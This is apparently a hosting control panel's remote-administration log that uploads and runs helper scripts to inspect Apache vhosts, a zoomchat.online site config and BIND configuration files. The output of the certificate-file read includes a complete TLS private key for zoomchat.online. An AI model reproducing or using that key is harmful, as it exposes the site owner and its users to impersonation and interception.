MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-22 12:29:19: Establishing a connection
2025-10-22 12:29:20: 

PUT: /tmp/pkp520965

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-22 12:29:21: 

chmod 755 /tmp/pkp520965; /tmp/pkp520965; rm /tmp/pkp520965

2025-10-22 12:29:22: 


[Wed Oct 22 12:29:22.133906 2025] [so:warn] [pid 352533:tid 140203115080000] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:27)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Wed Oct 22 12:29:22.133906 2025] [so:warn] [pid 352533:tid 140203115080000] AH01574: module status_module is already loaded, skipping


2025-10-22 12:29:22: 

PUT: /tmp/pkp607255

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-22 12:29:22: 

chmod 755 /tmp/pkp607255; /tmp/pkp607255; rm /tmp/pkp607255

2025-10-22 12:29:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf	1809

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.zoomchat.online
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-22 12:29:23: 

PUT: /tmp/pkp387621

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-22 12:29:23: 

chmod 755 /tmp/pkp387621; /tmp/pkp387621; rm /tmp/pkp387621

2025-10-22 12:29:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt	5349
e5:3e:f3:a6:9d:0e:04:b3:94:dc:a3:e4:31:9a:33:4e

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBYhLh3IQVYZN2N1YrSg5ra3uMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIyMTEyODMyWhcNMjYwMTIwMTEyODMxWjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCs+HTNUhLqh4lzT+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/w
CuK4JsneXsVvyG6ghPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbr
qHHXKwjd1/GlmDZc1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+
J4yLWLqFMHuwPjIirMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GW
qaazj0c7nLJo62OFEbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+
7V6vWsiY1KRoIVUe9mvcUwydAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFA00ypFYD/Y14WuFHE8uzsd4tUUTMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPem9vbWNoYXQub25saW5lMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvMTExLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AGQR
xGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmgvjE7oAAAQDAEcwRQIh
ANq+uZ9Utz1T41tLbU2niCt7EEuiADgG84Qi4qFiecZuAiAmlUM9yDKDwUNZKTeq
Z7eb2RIkBAb24C21JqdLhx1cdwB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWw
yxTDFFjnAAABmgvjE90AAAQDAEgwRgIhAKMyPVNcQCvadFGU/9I7Ha9G524s+erL
0PsQm6lLACMtAiEAgwfLGFoNSdKhxNPz3HzgF4g9D3wFZPNRYH9HUcSOIdUwDQYJ
KoZIhvcNAQELBQADggEBAG0PMkKKd90N85EnhPW8JKUuMGT/amnIRxrgpGgGH7cC
nVWZgg8tl01mOLgWvbBNdA14shWyjnZI2LNNHz0MurLS1BGbvW90mDDCnKCk5ga3
jIvkZJBWbg1r1TfX5OULAnUmCG+biKSJRVGK9JpGJfxRIJkmiLShAY/F2d4y/blz
ltt8BuuT3YfN58I9Hc07ogVM7wIWZHR2zLmYody0sU7Kd0wuFpI8mkTFNeKB7P0v
B3Ao5hgOlwCL1ZDvOMRCWyOqosfoiy7Ms1pxjvbZbG/rLHy3l8mJoAHnJJGT80r0
VO7U0s+ODG5mZvmJ67ygs+CJIYjqPMJHGLBADap0lR0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCs+HTNUhLqh4lz
T+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/wCuK4JsneXsVvyG6g
hPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbrqHHXKwjd1/GlmDZc
1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+J4yLWLqFMHuwPjIi
rMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GWqaazj0c7nLJo62OF
EbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+7V6vWsiY1KRoIVUe
9mvcUwydAgMBAAECggEAG7nDtzmlsJRDMwmmHX5cWy4oN9pZgI/H4EamJ5DI3y98
m6500IpqMDvEIn6st5R3HP+SsiNM0Is3OGG26fDvrWwGoQ5qQUeCbPbCoDphINwC
MHZwT16RYi1irV90Zafdf5j1VeIMaPfKFv3DHd/ma4I2Ked+Y7y4MjnPNH+/Ywmw
AR8TksJikVeQN4ylndzQrRFA1Kw+rk73PXyTj/QNd7++wu9jJDxjEJMR7ixBXOKn
1ZPCtrvLnMk3s82KWy9QwbZnHTlyVzeIvJMJeFvzOOHxCHZZCfAqLLYQIcxBpjRY
hDLJcIUJA2r8+rKPIfR7p5JS8DIlOWy7M+6vuySKIQKBgQDlZ7W8N0dPn8Km5ZRa
vjyiK5wPvxnifFsKteBbLo3yreHxkINhJuACyk747zkI335AxOK3akf2Ebzu5S1D
0iKoUZ78MJ072nZstzQzIABo6yBkac8vFg5n0eslPggQUs8rrVvVYGnRQeO7/7ty
bG+4L5t7mEjRdfMj8iP0VPoVKQKBgQDBBeEn3SwBRGyy5ydx4l8Yb1XIPPXJ502W
AIepHp02cAmLQtARC0vt7hg2vs7yJhy8dD7fUtxinlaPFU9fc+vomH9rJX+CoKO0
o4RNAsz7yKUsq/+MlhUZgg+4wEIdFL1aRq+6onnQhGVwwpQQ0xQ2tynnfbq/xx7y
KgW5TkSWVQKBgBc/5YlHyPBm7qFfjyOLODXvWYe3BHaRx+BUAoL7OuOnf8itrsL/
36AoxMwx4oPlsrP5wEh6ewSTU6SakXXYLC8G5qgEfUr9nxbxklbEHYaEnenPV3Ic
OCWJft1tZf/RhLGWhkIf3VmZ5ey9xE+acdAm8wkZq/eejp/MAJzYp+fRAoGAf0+7
dCmjDqrs7wsbrzfZ9Snp8IqUqzkOqXNsBxYUJ4W6JcpJphRHXoV+Hw23PWv55Crg
FTh39+vrt7AcjB7PaLi8whUXhzchAtIfPxQr055Bo7dGdJnBDPQGHptggAHf6p1Y
5sanhertZXRRaM9wM66XywHYnQle1eb1o4WGI4kCgYEAjpIpnCTz6RpFD4O9K/1e
ij0n3tthGzfpKcYJEQnn5Sm4hj3UIdzSAlxrbvNiI1A6oMGUeHa7uoV1HSBfyAlS
iS6lwhi6uscSyvKkKkuzyPAsHqLlyYlWpdVvCG/s6lWZ7fd4WuZuqXe3MehtYNye
6DxNZENRXjqV4clN9X2dq14=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-22 12:29:24: Establishing a connection
2025-10-22 12:29:24: 

PUT: /tmp/pkp552740

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-22 12:29:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp552740; rm /tmp/pkp552740'

2025-10-22 12:29:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
